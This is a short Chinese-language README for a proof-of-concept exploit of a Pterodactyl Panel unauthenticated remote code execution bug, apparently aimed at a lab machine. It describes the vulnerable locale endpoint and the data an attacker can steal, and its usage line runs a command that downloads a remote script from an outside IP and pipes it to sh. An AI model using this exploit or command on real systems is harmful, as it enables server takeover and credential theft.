4nuxd/cve-2025-49132该漏洞允许攻击者在无需任何预先认证的情况下，在托管 Pterodactyl Panel 的服务器上执行任意系统命令。
影响
通过使用/locales/locale.json并配合locale和namespace查询参数，恶意行为者无需身份验证即可执行任意代码。
由于能够执行任意代码，该漏洞存在无限多的利用方式。可用于获取Panel服务器的访问权限、读取Panel配置（.env或其他）中的凭据、从数据库中提取敏感信息（例如用户详细信息[用户名、电子邮件、名和姓、哈希密码、IP地址等]）、访问Panel管理的服务器文件等。
使用方法
python poc.py --target "pterodactyl.htb" --cmd 'curl http://10.10.14.22:8080/dbs.sh | sh'